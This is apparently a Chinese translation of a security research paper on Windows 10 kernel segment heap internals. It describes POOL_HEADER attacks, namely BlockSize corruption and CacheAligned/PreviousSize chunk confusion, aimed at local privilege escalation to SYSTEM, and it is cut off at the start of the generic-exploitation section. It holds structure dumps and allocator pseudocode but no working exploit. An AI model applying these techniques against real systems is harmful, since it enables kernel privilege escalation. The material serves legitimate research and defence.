作者:Muoziiy@天玄安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/gjMx3-HPEzJPV8PVBUufqA
前言
在野利用的CVE-2021-31956樣本,利用過程中使用了WNF來獲取任意地址讀寫原語,但由于我對WNF不熟悉,所以暫時沒有看WNF這塊的內容。那么最終我是通過Scoop the Windows 10 pool這篇文章中的思路實現了CVE-2021-31956的利用,利用過程基本和這篇文章一致,區別可能就是申請漏洞塊并實現溢出那里需要自行研究一下。由于眾所周知的原因,這里不對CVE-2021-31956進行分析,而是對這篇文章進行翻譯并對其中的demo進行了分析和復現。
由于本人對內核這塊的研究時間不長,對Windows內部機制的理解也不夠深入,且英文水平有限,所以翻譯和復現的過程中,難免會出現一些錯誤和理解不到位的地方,如果你發現了任何問題,請與作者聯系。
原文及DEMO地址:https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion
摘要
堆溢出是應用程序中相當常見的漏洞。利用這些漏洞通常需要對堆的底層管理機制非常了解。Windows10最近改變了內核中堆的管理方式,本文旨在介紹Windows NT內核堆管理機制的最新發展,同時介紹對內核池的新的利用技術。
1 介紹
池是Windows系統為內核層保留的堆空間。多年來,池內存的分配一直非常具體,且與用戶層的分配是不同的。自2019年3月,Windows 10更新了19H1以來,這一切都改變了。在用戶層眾所周知,且已經文檔化的段堆被引入內核。
但是,內核層實現的分配器和用戶層實現的分配器仍然存在一些不同,因為內核層仍然需要一些特定的材料。本文從利用的角度出發,重點討論內核段堆自定義內部結構。
文章中介紹的研究內容是針對x64架構的,對于不同的架構需要進行哪些調整尚未研究。
在簡單的介紹了池內部結構的歷史之后,本文將說明段堆在內核中是如何實現的,以及對內核池特定材料有什么影響。然后,本文將介紹一種利用內核池中堆溢出漏洞對池內部進行攻擊的新技術。最后,將介紹一種通用的利用手法,它使用了最小的受控堆溢出,并允許本地特權從低完整性級別升級到SYSTEM。
1.1 池內部
本文不會深入討論池分配器的內部結構,因為這個主題已經被廣泛地討論過了 [5],但是為了全面理解這篇文章,還是需要快速地回顧一下一些內部結構。
本節將介紹 Windows 7 中的一些池內部結構,以及過去幾年中對池進行的各種緩解和更改。這里說明的內部結構將聚焦在適合單個頁面的塊上,這是內核中最常見的分配。大于0xFE0的分配行為不在今天的討論范圍內。
在池中分配內存 Windows內核中,分配和釋放池內存的主要函數分別是ExAllocatePoolWithTag和ExFreePoolWithTag。
void * ExAllocatePoolWithTag (
POOL_TYPE PoolType ,
size_t NumberOfBytes ,
unsigned int Tag
);
void ExFreePoolWithTag (
void * P,
unsigned int Tag
);
PoolType是一個位域,與下面列舉的值關聯
NonPagedPool = 0
PagedPool = 1
NonPagedPoolMustSucceed = 2
DontUseThisType = 3
NonPagedPoolCacheAligned = 4
PagedPoolCacheAligned = 5
NonPagedPoolCacheAlignedMustSucceed = 6
MaxPoolType = 7
PoolQuota = 8
NonPagedPoolSession = 20h
PagedPoolSession = 21h
NonPagedPoolMustSucceedSession = 22h
DontUseThisTypeSession = 23h
NonPagedPoolCacheAlignedSession = 24h
PagedPoolCacheAlignedSession = 25h
NonPagedPoolCacheAlignedMustSSession = 26h
NonPagedPoolNx = 200h
NonPagedPoolNxCacheAligned = 204h
NonPagedPoolSessionNx = 220h
PoolType中可以存儲若干信息:
- 使用的內存類型,可以是NonPagedPool、PagedPool、SessionPool或NonPagedPoolNx;
- 如果分配是關鍵的(bit 1)并且必須成功。那么當分配失敗,就會觸發BugCheck;
- 如果分配與緩存大小對齊(bit 2)
- 如果分配使用了PoolQuota機制(bit 3)
- 其他未文檔化的機制
使用的內存類型很重要,因為它隔離了不同內存范圍中的分配。使用的兩種主要內存類型是PagedPool和NonPagedPool。MSDN文檔將其描述如下:
非分頁池(NonpagedPool)是不可分頁的系統內存,它可以從任何IRQL訪問,但非分頁內存是一種稀缺資源,驅動程序應當在必須使用時才去分配非分頁內存。分頁池(Paged)是可分頁的系統內存,只能在IRQL<DISPATCH_LEVEL時分配和訪問。
如1.2節所述,在Win8中引入了NonPagedPoolNx,必須使用它來替代NonpagedPool。
SessionPool用于會話空間的分配,對每個用戶會話都是唯一的,主要在win32k中使用。
最后,Tag是一個1到4個字符的非零字符文本(例如,“Tag1”)。建議內核開發人員按代碼路徑使用唯一的Tag,以幫助調試器和驗證器識別代碼路徑。
POOL_HEADER 在池中,適合單個頁面的所有塊都以POOL_HEADER結構開頭,POOL_HEADER包含分配器所需信息和Tag信息。當試圖在Windows內核中利用堆溢出漏洞時,首先要覆蓋的就是POOL_HEADER結構。攻擊者有兩個選擇:重寫一個正確的POOL_HEADER結構,并用來攻擊下一個塊的數據,或者直接攻擊POOL_HEADER結構。
不管用哪種攻擊方法,POOL_HEADER都會被覆蓋,同時需要對POOL_HEADER的每個字段及其如何使用非常了解,才能夠利用這種漏洞。本文將主要關注直接攻擊POOL_HEADER。
//Windows 1809 中簡化的 POOL_HEADER 結構
struct POOL_HEADER
{
char PreviousSize;
char PoolIndex;
char BlockSize;
char PoolType;
int PoolTag;
Ptr64 ProcessBilled ;
};
POOL_HEADER的結構在過去的一段時間里,略微有些變化,但始終保持著一些主要字段。在Windows 1809,19H1之前,所有的字段都會被用到。
PreviousSize:之前的塊的大小除以16
PoolIndex:PoolDescriptor數組中的索引
BlockSize:當前分配的大小除以16
PoolType:包含分配類型信息的位域
ProcessBilled:指向分配內存的進程的KPROCESS的指針,只有PoolType中包含PoolQuota標志時,才設置此字段。
1.2自win7開始的攻擊和緩解措施
Tarjei Mandt及其論文《Windows 7上的內核池攻擊》[5]是針對內核池攻擊的參考資料。它展示了整個池的內部結構和眾多的攻擊,其中一些攻擊的目標是POOL_HEADER。
Quota Process Pointer Overwrite 分配可以針對給定進程收取配額(這里不知道怎么翻譯,只能直譯了)。為此,ExAllocatePoolWithQuotaTag將利用POOL_HEADER中的ProcessBilled字段來存儲指向負責分配的進程的_KPROCESS的指針。
在本文中,攻擊被描述為 Quota Process Pointer Overwrite(配額進程指針覆蓋)。
攻擊利用堆溢出來覆蓋已分配的塊的POOL_HEADER中的ProcessBilled指針,當塊被釋放時,如果塊的PoolType包含PoolQuota(0x8)標志,那么ProcessBilled字段存儲的指針將被用于解引用一個值。所以控制ProcessBilled指針可以提供一個任意指針解引用原語。這足以從用戶態實現權限提升。圖1展示了這種攻擊。

自Windows 8開始,隨著ExpPoolQuotaCookie的引入,這種攻擊已經被緩解。Cookie值在系統啟動引導階段生成,用于保護指針不被攻擊者覆蓋。例如,它對ProcessBilled字段使用XOR運算。
ProcessBilled = KPROCESS_PTR ^ ExpPoolQuotaCookie ^ CHUNK_ADDR
當塊被釋放時,內核將檢查編碼的指針是否是一個有效的KPROCESS指針。
process_ptr = (struct _KPROCESS *)(chunk_addr ^ ExpPoolQuotaCookie ^ chunk_addr ->process_billed );
if ( process_ptr )
{
if (process_ptr < 0xFFFF800000000000 || (process_ptr ->Header.Type & 0x7F) != 3 )
KeBugCheckEx ([...])
[...]
}
在不知道塊的地址和ExpPoolQuotaCookie的情況下,不可能提供一個有效的指針,也就無法實現任意指針解引用。但是,仍然可以通過重寫一個正確的POOL_HEADER,且不在PoolType設置PoolQuota標志來實現完整數據攻擊。更多關于Quota Process Pointer Overwrite Attack(配額進程指針覆蓋攻擊)的信息,已經在Nuit du Hack XV會議上進行了討論[1]。
NonPagedPoolNx 在Windows 8中,引入了一種新的池內存類型NonPagedPoolNx。它的工作原理與NonPagedPool完全相同,只是內存頁不在是可執行的,從而緩解了所有利用這種內存來存儲shellcode的攻擊。
以前使用NonPagedPool完成的分配,現在改用NonPagedPoolNx來實現,但出于與第三方驅動兼容的目的,保留了NonPagedPool類型。即使在今天的Windows 10中,仍然有大量的第三方驅動在使用可執行的NonPagedPool。
隨著時間的推移,各種緩解措施的引入使得利用堆溢出攻擊POOL_HEADER不再有趣。現如今,寫一個正確的POOL_HEADER并攻擊下一個塊的數據實現起來更加簡單。然而,池中段堆(Segment Heap)的引入改變了POOL_HEADER的使用方式,本文展示了如何在內核池中再次利用堆溢出實現攻擊。
2 帶有段堆(Segment Heap)的池分配器
2.1 段堆內部
自Windows 10 19H1開始,段堆被用于內核層,與用戶層使用的段堆非常相似。本節旨在介紹段堆的主要功能并關注與用戶層使用的不同之處。用戶層段堆內部結構的詳細說明在[7]中提供。
就像在用戶層使用的一樣,段堆旨在根據分配大小的不同提供不同的功能。為此,定義了4個所謂的后端。
Low Fragmentation Heap(abbr LFH):RtlHpLfhContextAllocate
Variable Size(abbr VS):RtlHpVsContextAllocateInternal
Segment Alloc(abbr Seg):RtlHpSegAlloc
Large Alloc: RtlHpLargeAlloc
請求分配的大小和選擇的后端之間的映射如圖2所示

前三個后端,Seg,VS,LFH,分別與上下文相關聯:_HEAP_SEG_CONTEXT, _HEAP_VS_CONTEXT 和_HEAP_LFH_CONTEXT。后端上下文存儲在_SEGMENT_HEAP結構中。
1: kd > dt nt!_SEGMENT_HEAP
+0 x000 EnvHandle : RTL_HP_ENV_HANDLE
+0 x010 Signature : Uint4B
+0 x014 GlobalFlags : Uint4B
+0 x018 Interceptor : Uint4B
+0 x01c ProcessHeapListIndex : Uint2B
+0 x01e AllocatedFromMetadata : Pos 0, 1 Bit
+0 x020 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA
+0 x020 ReservedMustBeZero1 : Uint8B
+0 x028 UserContext : Ptr64 Void
+0 x030 ReservedMustBeZero2 : Uint8B
+0 x038 Spare : Ptr64 Void
+0 x040 LargeMetadataLock : Uint8B
+0 x048 LargeAllocMetadata : _RTL_RB_TREE
+0 x058 LargeReservedPages : Uint8B
+0 x060 LargeCommittedPages : Uint8B
+0 x068 StackTraceInitVar : _RTL_RUN_ONCE
+0 x080 MemStats : _HEAP_RUNTIME_MEMORY_STATS
+0 x0d8 GlobalLockCount : Uint2B
+0 x0dc GlobalLockOwner : Uint4B
+0 x0e0 ContextExtendLock : Uint8B
+0 x0e8 AllocatedBase : Ptr64 UChar
+0 x0f0 UncommittedBase : Ptr64 UChar
+0 x0f8 ReservedLimit : Ptr64 UChar
+0 x100 SegContexts : [2] _HEAP_SEG_CONTEXT
+0 x280 VsContext : _HEAP_VS_CONTEXT
+0 x340 LfhContext : _HEAP_LFH_CONTEXT
存在5個_SEGMENT_HEAP結構,對應不同的_POOL_TYPE值。
NonPaged pools(bit 0 unset)
NonPagedNx pool(bit 0 unset and bit 9 set)
Paged pools (bit 0 set)
PagedSession pool (bit 5 and 1 set)
第五個段堆也被分配,但是作者沒有找到它的用途。前三個與NonPaged、NonPagedNx、Paged相關的段堆被存儲在HEAP_POOL_NODES中。與PagedPoolSession相關聯的段堆被存儲在當前線程中。圖3總結了5個段堆

盡管用戶層段堆僅使用一個段分配器上下文進行128KB到508KB之間的分配,但在內核層段堆使用兩個段分配器上下文,第二個用于508KB到7GB之間的分配。
段后端(Segment Backend)
段后端被用于分配大小在128KB到7GB之間的內存塊。它也在后臺使用,為VS和LFH后端分配內存。
段后端上下文存儲在稱作_HEAP_SEG_CONTEXT的結構體中。
1: kd > dt nt! _HEAP_SEG_CONTEXT
+0 x000 SegmentMask : Uint8B
+0 x008 UnitShift : UChar
+0 x009 PagesPerUnitShift : UChar
+0 x00a FirstDescriptorIndex : UChar
+0 x00b CachedCommitSoftShift : UChar
+0 x00c CachedCommitHighShift : UChar
+0 x00d Flags : <anonymous -tag >
+0 x010 MaxAllocationSize : Uint4B
+0 x014 OlpStatsOffset : Int2B
+0 x016 MemStatsOffset : Int2B
+0 x018 LfhContext : Ptr64 Void
+0 x020 VsContext : Ptr64 Void
+0 x028 EnvHandle : RTL_HP_ENV_HANDLE
+0 x038 Heap : Ptr64 Void
+0 x040 SegmentLock : Uint8B
+0 x048 SegmentListHead : _LIST_ENTRY
+0 x058 SegmentCount : Uint8B
+0 x060 FreePageRanges : _RTL_RB_TREE
+0 x070 FreeSegmentListLock : Uint8B
+0 x078 FreeSegmentList : [2] _SINGLE_LIST_ENTRY

段后端通過稱為段的可變大小塊分配內存。每個段由多個可分配的頁組成。
段存儲在SegmentListHead的鏈表中。段以一個_HEAP_PAGE_SEGMENT開頭,后面跟著256個_HEAP_PAGE_RANGE_DESCRIPTOR結構。
1: kd > dt nt! _HEAP_PAGE_SEGMENT
+0 x000 ListEntry : _LIST_ENTRY
+0 x010 Signature : Uint8B
+0 x018 SegmentCommitState : Ptr64 _HEAP_SEGMENT_MGR_COMMIT_STATE
+0 x020 UnusedWatermark : UChar
+0 x000 DescArray : [256] _HEAP_PAGE_RANGE_DESCRIPTOR
1: kd > dt nt! _HEAP_PAGE_RANGE_DESCRIPTOR
+0 x000 TreeNode : _RTL_BALANCED_NODE
+0 x000 TreeSignature : Uint4B
+0 x004 UnusedBytes : Uint4B
+0 x008 ExtraPresent : Pos 0, 1 Bit
+0 x008 Spare0 : Pos 1, 15 Bits
+0 x018 RangeFlags : UChar
+0 x019 CommittedPageCount : UChar
+0 x01a Spare : Uint2B
+0 x01c Key : _HEAP_DESCRIPTOR_KEY
+0 x01c Align : [3] UChar
+0 x01f UnitOffset : UChar
+0 x01f UnitSize : UChar
為了提供對空閑頁面范圍的快速查找,還在_HEAP_SEG_CONTEXT中維護了一個紅黑樹。
每個_HEAP_PAGE_SEGMENT 都有一個簽名,計算方法如下
Signature = Segment ^ SegContext ^ RtlpHpHeapGlobals ^ 0xA2E64EADA2E64EAD ;
此簽名用于從任何已分配的內存塊中檢索擁有的_HEAP_SEG_CONTEXT和相應的_SEGMENT_HEAP。
圖4總結了段后端中使用的內部結構。
通過使用存儲在_HEAP_SEG_CONTEXT中的SegmentMask掩碼,可以快速從任意地址計算出原始段。SegmentMask的值為0xfffffffffff00000。
Segment = Addr & SegContext ->SegmentMask;
通過使用_HEAP_SEG_CONTEXT中的UnitShift,可以輕松從任意地址計算出相應的PageRange。UnitShift設置為12。
PageRange = Segment + sizeof( _HEAP_PAGE_RANGE_DESCRIPTOR ) * (Addr- Segment) >> SegContext ->UnitShift;
當Segment Backend被另一個后端使用時,_HEAP_PAGE_RANGE_DESCRIPTOR的RangeFlags字段被用于存儲請求分配的后端。
可變大小后端(Variable Size Backend)
可變大小后端分配512B到128KB大小的塊。它旨在提供對空閑塊的輕松重用。
可變大小后端上下文存儲在被稱為_HEAP_VS_CONTEXT的結構體中。
0: kd > dt nt! _HEAP_VS_CONTEXT
+0 x000 Lock : Uint8B
+0 x008 LockType : _RTLP_HP_LOCK_TYPE
+0 x010 FreeChunkTree : _RTL_RB_TREE
+0 x020 SubsegmentList : _LIST_ENTRY
+0 x030 TotalCommittedUnits : Uint8B
+0 x038 FreeCommittedUnits : Uint8B
+0 x040 DelayFreeContext : _HEAP_VS_DELAY_FREE_CONTEXT
+0 x080 BackendCtx : Ptr64 Void
+0 x088 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS
+0 x0b0 Config : _RTL_HP_VS_CONFIG
+0 x0b4 Flags : Uint4B
可變大小后端的內部結構

空閑塊存儲在稱為FreeChunkTree的紅黑樹中。當請求分配時,紅黑樹用于查找任何大小相同的空閑塊或大于請求大小的第一個空閑塊。
空閑塊以一個稱作_HEAP_VS_CHUNK_FREE_HEADER的專用結構體為頭部。
0: kd > dt nt! _HEAP_VS_CHUNK_FREE_HEADER
+0 x000 Header : _HEAP_VS_CHUNK_HEADER
+0 x000 OverlapsHeader : Uint8B
+0 x008 Node : _RTL_BALANCED_NODE
一旦找到一個空閑塊,就會調用RtlpHpVsChunkSplit將其分割為大小合適的塊。
已經被分配的塊都會以一個名為_HEAP_VS_CHUNK_HEADER的結構體開頭。
0: kd > dt nt! _HEAP_VS_CHUNK_HEADER
+0 x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
+0 x008 EncodedSegmentPageOffset : Pos 0, 8 Bits
+0 x008 UnusedBytes : Pos 8, 1 Bit
+0 x008 SkipDuringWalk : Pos 9, 1 Bit
+0 x008 Spare : Pos 10, 22 Bits
+0 x008 AllocatedChunkBits : Uint4B
0: kd > dt nt! _HEAP_VS_CHUNK_HEADER_SIZE
+0 x000 MemoryCost : Pos 0, 16 Bits
+0 x000 UnsafeSize : Pos 16, 16 Bits
+0 x004 UnsafePrevSize : Pos 0, 16 Bits
+0 x004 Allocated : Pos 16, 8 Bits
+0 x000 KeyUShort : Uint2B
+0 x000 KeyULong : Uint4B
+0 x000 HeaderBits : Uint8B
header結構體中的所有字段都與RtlHpHeapGlobals和塊的地址進行異或。
Chunk ->Sizes = Chunk ->Sizes ^ Chunk ^ RtlpHpHeapGlobals ;
在內部,VS分配器使用段分配器。它通過_HEAP_VS_CONTXT中的_HEAP_SUBALLOCATOR_CALLBACKS字段在RtlpHpVsSubsegmentCreate中使用。子分配器回調函數都與VS上下文和RtlpHpHeapGlobals地址進行異或。
callbacks.Allocate = RtlpHpSegVsAllocate ;
callbacks.Free = RtlpHpSegLfhVsFree ;
callbacks.Commit = RtlpHpSegLfhVsCommit ;
callbacks.Decommit = RtlpHpSegLfhVsDecommit ;
callbacks.ExtendContext = NULL;
如果FreeChunkTree中沒有足夠大的塊,則會在子段列表中分配并插入一個新的子段,其大小范圍為64KiB到256KiB。它以_HEAP_VS_SUBSEGMENT結構體為首。所有剩余的塊都用作空閑塊被插入到FreeChunkTree中。
0: kd > dt nt! _HEAP_VS_SUBSEGMENT
+0 x000 ListEntry : _LIST_ENTRY
+0 x010 CommitBitmap : Uint8B
+0 x018 CommitLock : Uint8B
+0 x020 Size : Uint2B
+0 x022 Signature : Pos 0, 15 Bits
+0 x022 FullCommit : Pos 15, 1 Bit
圖5總結了VS后端的內存架構。
當VS塊被釋放時,如果它小于1KB并且VS后端是正確配置的(Config.Flags的第四位配置為1),它將被臨時存儲在DelayFreeContext列表中。一旦DelayFreeContext填充了32個塊,這些塊將一次性全部被釋放。DelayFreeContext從不用于直接分配。
當一個VS塊真的被釋放,如果它與其他兩個空閑塊相鄰,那么這三個空閑塊將利用函數RtlpHpVsChunkCoalesce合并在一起。然后合并后的大塊將被插入到FreeChunkTree中。
低碎片化堆后端(Low Fragmentation Heap Backend)
低碎片化的堆是一個專門用來分配1B到512B的小塊的后端。
LFH后端上下文存儲在稱作_HEAP_LFH_CONTEXT的結構體中。
0: kd > dt nt! _HEAP_LFH_CONTEXT
+0 x000 BackendCtx : Ptr64 Void
+0 x008 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS
+0 x030 AffinityModArray : Ptr64 UChar
+0 x038 MaxAffinity : UChar
+0 x039 LockType : UChar
+0 x03a MemStatsOffset : Int2B
+0 x03c Config : _RTL_HP_LFH_CONFIG
+0 x040 BucketStats : _HEAP_LFH_SUBSEGMENT_STATS
+0 x048 SubsegmentCreationLock : Uint8B
+0 x080 Buckets : [129] Ptr64 _HEAP_LFH_BUCKET
LFH后端的主要特點是使用不同大小的bucket來避免碎片化

每個bucket由段分配器分配的子段組成。段分配器通過使用_HEAP_LFH_CONTEXT結構體的_HEAP_SUBALLOCATOR_CALLBACKS字段來使用。子分配器回調函數與LFH上下文和RtlpHpHeapGlobals的地址進行異或。
callbacks.Allocate = RtlpHpSegLfhAllocate ;
callbacks.Free = RtlpHpSegLfhVsFree ;
callbacks.Commit = RtlpHpSegLfhVsCommit ;
callbacks.Decommit = RtlpHpSegLfhVsDecommit ;
callbacks.ExtendContext = RtlpHpSegLfhExtendContext ;
LFH子段以_HEAP_LFH_SUBSEGMENT結構體為首
0: kd > dt nt! _HEAP_LFH_SUBSEGMENT
+0 x000 ListEntry : _LIST_ENTRY
+0 x010 Owner : Ptr64 _HEAP_LFH_SUBSEGMENT_OWNER
+0 x010 DelayFree : _HEAP_LFH_SUBSEGMENT_DELAY_FREE
+0 x018 CommitLock : Uint8B
+0 x020 FreeCount : Uint2B
+0 x022 BlockCount : Uint2B
+0 x020 InterlockedShort : Int2B
+0 x020 InterlockedLong : Int4B
+0 x024 FreeHint : Uint2B
+0 x026 Location : UChar
+0 x027 WitheldBlockCount : UChar
+0 x028 BlockOffsets : _HEAP_LFH_SUBSEGMENT_ENCODED_OFFSETS
+0 x02c CommitUnitShift : UChar
+0 x02d CommitUnitCount : UChar
+0 x02e CommitStateOffset : Uint2B
+0 x030 BlockBitmap : [1] Uint8B
然后將每個子段分割成相應的bucket大小的不同的LFH塊。
為了知道哪個bucket被使用,在每個子段的header中維護了一個bitmap。

當請求一個分配的時候,LFH分配器將首先在_HEAP_LFH_SUBSEGMENT結構中尋找Freelist子段,目的是為了找到子段中最后釋放的塊的偏移。接著將掃描BlockBitmap,在32個塊里找一個空閑塊。由于RtlpLowFragHeapRandomData表,導致這個掃描是隨機的。
根據給定的bucket的競爭狀況,可以啟用一種機制使得每個CPU有一個專屬子段用于實現簡易分配,這種機制稱為Affinity Slot(親和槽)。
圖7展示了LFH后端的主要架構。
動態快表(Dynamic Lookaside)
大小為0x200到0xF80字節的釋放塊可以被臨時存儲在快表中以提供快速分配。當這些塊處于快表中時,這些塊不會走后端釋放機制。
快表由_RTL_DYNAMIC_LOOKASIDE結構體來表示,并存儲在_SEGMENT_HEAP結構體的UserContext域中。
0: kd > dt nt! _RTL_DYNAMIC_LOOKASIDE
+0 x000 EnabledBucketBitmap : Uint8B
+0 x008 BucketCount : Uint4B
+0 x00c ActiveBucketCount : Uint4B
+0 x040 Buckets : [64] _RTL_LOOKASIDE
每個釋放的塊都存儲在與其大小相對應的_RTL_LOOKASIDE中,大小對應著LFH中Bucket一樣的模式
0: kd > dt nt!_RTL_LOOKASIDE
+0 x000 ListHead : _SLIST_HEADER
+0 x010 Depth : Uint2B
+0 x012 MaximumDepth : Uint2B
+0 x014 TotalAllocates : Uint4B
+0 x018 AllocateMisses : Uint4B
+0 x01c TotalFrees : Uint4B
+0 x020 FreeMisses : Uint4B
+0 x024 LastTotalAllocates : Uint4B
+0 x028 LastAllocateMisses : Uint4B
+0 x02c LastTotalFrees : Uint4B

在同一時間,僅可啟用一個可用buckets子集。每次請求分配時,相應的快表指標都會更新。
每掃描三次Balance Set Mangager,動態快表就會重新平衡。啟動了自上次重新平衡以來使用最多的。每個快表的大小取決于它的用途,但最大不能超過MaximumDepth,最小不能小于4。當新分配的數量小于25時,深度將減小10。另外,當未命中率小于0.5時,深度將減小到1,否則將按照下列公式來增長。
2.2 POOL_HEADER
如1.1節所述,Windows 10 19H1之前的內核層堆分配器分配的所有塊都以POOL_HEADER為頭部。在當時,POOL_HEADER中所有的字段都被使用了。隨著內核層堆分配器的更新,POOL HEADER的大部分字段都變的無用了,但仍然有少量分配的內存以POOL_HEADER為首。
//POOL_HEADER定義
struct POOL_HEADER
{
char PreviousSize;
char PoolIndex;
char BlockSize;
char PoolType;
int PoolTag;
Ptr64 ProcessBilled ;
};
分配器設置的唯一字段如下
PoolHeader ->PoolTag = PoolTag;
PoolHeader ->BlockSize = BucketBlockSize >> 4;
PoolHeader ->PreviousSize = 0;
PoolHeader ->PoolType = changedPoolType & 0x6D | 2;
下面是總結的自windows 19H1以來POOL_HEADER結構體的每個字段用途
PreviousSize:未使用的,并保持為0
PoolIndex:未使用的
BlockSize:塊的大小,僅用于最終將塊存儲在動態快表中
PoolType:用法沒有改變,依舊是請求的池的類型
PoolTag:用法沒有改變,依舊是池標簽
ProcessBilled:用法沒有改變,保持對請求分配內存的進程進行追蹤,如果池類型為PoolQuota,那么ProcessBilled的計算方法如下
ProcessBilled = chunk_addr ^ ExpPoolQuotaCookie ^ KPROCESS
緩存對齊
當調用ExAllocatPoolWithTag時,如果PoolType有CacheAligned位被設置,函數執行后返回的內存是與Cache對齊的。Cache線的大小取決于CPU,但通常來說都是0x40。
首先分配器會增加ExpCacheLineSize的大小
if ( PoolType & 4 )
{
request_alloc_size += ExpCacheLineSize ;
if ( request_alloc_size > 0xFE0 )
{
request_alloc_size -= ExpCacheLineSize ;
PoolType = PoolType & 0xFB;
}
}
如果新的分配大小不能容納在單個頁面中,那么CacheAligned位將會被忽略。
并且,分配的塊必須遵守下面的三個條件:
- 最終分配的地址必須與ExpCacheLineSize對齊
- 在塊的最開始處,必須有一個POOL_HEADER頭
- 塊在分配的地址減去POOL_HEADER的大小的地址處必須有一個POOL_HEADER。
因此,如果分配的地址沒有正確的對齊,那么塊可能會有兩個headers。
像往常一樣,第一個POOL_HEADER將在塊的起始處,第二個將在ExpCacheLineSize-Sizeof(POOL_HEADER)上對齊,使最終的分配地址與ExpCacheLineSize對齊。CacheAligned將從第一個POOL_HEADER中移除,且第二個POOL_HEADER將使用以下值來填充:
- PreviousSize:用來保存兩個headers之間的偏移
- PoolIndex:未使用
- BlockSize:在第一個POOL_HEADER中申請的bucket的大小。
- PoolType:和之前一樣,但是CacheAligned位必須設置
- PoolTag:像往常一樣,兩個POOL_HEADER是相同的
- ProcessBilled:未使用
此外,如果對齊填充中有足夠的空間,則我們命名為AlignedPoolHeader的指針可能會存儲在第一個POOL_HEADER之后。它指向第二個POOL_HEADER,并與ExpPoolQuotaCookie異或。
圖9總結了緩存對齊情況下兩個POOL_HEADER的布局。
2.3 總結
自Windows 19H1和引入段堆以來,一些存儲在每個塊的POOL_HEADER中的信息不要需要了。但是,其他的一些,例如PoolType,PoolTag,或是使用CacheAligned和PoolQuota機制的能力依舊需要。
這就是為什么分配的小于0xFE0塊至少都還有一個POOL_HEADER頭。自Windwos 19H1以來,POOL_HEADER結構體的字段的用法在2.2節中介紹過了。圖10表示了使用LFH后端分配的一個塊,因此前面只有一個POOL_HEADER頭。

正如2.1節中解釋的那樣,不同的后端,申請的內存塊可能以不同的header開頭。例如,一個使用VS后端分配的大小0x280的塊,因此將以大小為0x10的_HEAP_VS_CHUNK_HEADER開頭。圖11代表了一個使用VS段分配的塊,因此是以VS HEADER和POOL_HEADER開頭。

最后,如果請求的分配要以Cache Line對齊,那么塊可能包含兩個POOL_HEADER頭。第二個POOL_HEADER的CacheAligned位將會被設置,并用于檢索第一個塊和實際分配的地址。圖12代表了一個使用LFH申請并需要與Cacha Size對齊的塊,因此開頭的是兩個POOL_HEADER。

圖13總結了分配時的決策樹
從漏洞利用的角度,可以得出兩個結論。第一,POOL_HEADER的新用法使利用變得容易:由于大多數字段沒有使用,因此覆蓋的時候不用非常小心。第二,就是利用POOL_HEADER的新用法來尋找新的利用技術。
3 攻擊POOL_HEADER
如果堆溢出漏洞允許很好的控制寫入的數據和大小,那么最簡單的解決方法可能是重寫POOL_HEADER并且直接攻擊下一個塊的數據。唯一要做的事情就是控制PoolType中的PoolQuota位沒有被設置,以避免在釋放破壞的區塊時對ProcessBilled字段進行完整性檢查。
但是,本節將提供一些針對POOL_HEADER的攻擊,且這些攻擊僅僅只需堆溢出幾個字節。
3.1 BlockSize作為目標
從堆溢出到更大的堆溢出
正如2.1節中解釋的,在釋放機制中,BlockSize字段被用于存儲一些塊到動態快表中。
攻擊者可以通過堆溢出來改變BlockSize字段的值使其變的更大,大于0x200。如果破壞的塊已經被釋放,被控制的BlockSize將被用于存儲一些錯誤大小的塊在快表中。再次申請這個大小的塊時可能會使用一個非常小的分配的內存來存儲所需的數據,從而觸發另一個堆溢出。
通過使用堆噴技術和一些指定的對象,攻擊者可能將一個3個字節的堆溢出實現變成高達0xFD0字節字節的堆溢出,這取決于漏洞塊的大小。同樣,攻擊者還可以選擇用來溢出的對象,并且可能對溢出條件有更多的控制。
3.2 PoolType作為目標
大多數時候,存儲在PoolType中的信息只是用來提供信息;它在分配的時候提供信息,并存儲在PoolType中,但不會用于釋放機制中。
例如,改變存儲在PoolType中的內存類型實際上不會改變分配的內存的類型。不會因為僅僅只改變了PoolType中的一個bit位就會將NonPagedPoolNx類型改為NonPagedPool。
但是對于PoolQuota和CacheAligned位來說不是這樣的。設置PoolQuota位將觸發POOL_HEADER中ProcessBilled指針的使用,以便在釋放時解除對配額的引用。如1.2節中所述,對ProcessBilled指針的攻擊已經得到了緩解。
所以唯一剩下的位就是CacheAligned位。
塊排列混淆
如2.2節中所示,如果一個請求分配的PoolType中的CacheAligned位被設置,那么塊的布局是不同的。
當分配器正在釋放這種塊時,它將嘗試尋找原始的塊地址,用來在正確的地址釋放塊。它將在對齊的POOL_HEADER中使用PreviousSize字段。分配器使用一個簡單的減法來計算原始塊的地址。
if ( AlignedHeader ->PoolType & 4 )
{
OriginalHeader = (QWORD)AlignedHeader - AlignedHeader ->
PreviousSize * 0x10;
OriginalHeader ->PoolType |= 4;
}
在內核中引入段堆之前,在這個操作之后有幾個檢查。
- 分配器檢查原始塊在PoolType中是否設置了MustSucceed位。
- 使用ExpCacheLineSize重新計算兩個頭之間的偏移量,并且驗證兩個頭之間的偏移量一樣。
- 分配器檢查對齊的頭的BlockSize是否等于原始頭的BlockSize加對齊頭的PreviousSize。
- 分配器檢查OriginalHeader中保存的指針加上POOL_HEADER的大小是否等于對齊頭的地址與ExpPoolQuotaCookie異或的值。
自Windows 19H1開始,池分配器使用Segment Heap,所有的檢查都不存在了。異或的指針依然存在于原始頭之后,但在釋放機制中不在進行檢查。作者認為有一些檢查被錯誤的刪除了。在未來的版本中可能會重新打開這些檢查,但是在Windows 10 20H1的預覽版中沒有這樣的補丁。
目前,由于缺乏檢查,攻擊者可以使用PoolType作為攻擊向量。攻擊者可以使用堆溢出來設置下一個塊的PoolType字段的CacheAligned位,并完全控制PreviousSize字段。當塊被釋放時,釋放機制使用受控的PreviousSize字段尋找原始塊,并釋放它。因為PreviousSize字段存儲在一個字節中,所以攻擊者可以在原始塊地址之前釋放任意對齊在0x10上的地址,最多可達0xFF*0x10=0xFF0。
這篇文章的最后一部分將使用本文介紹的技術演示一個通用漏洞利用。它提供了在池溢出或UAF的情況下需要控制的通用對象,以及使用受控數據重用已釋放的分配的多個對象和技術。
4 通用的漏洞利用技術
4.1 所需條件
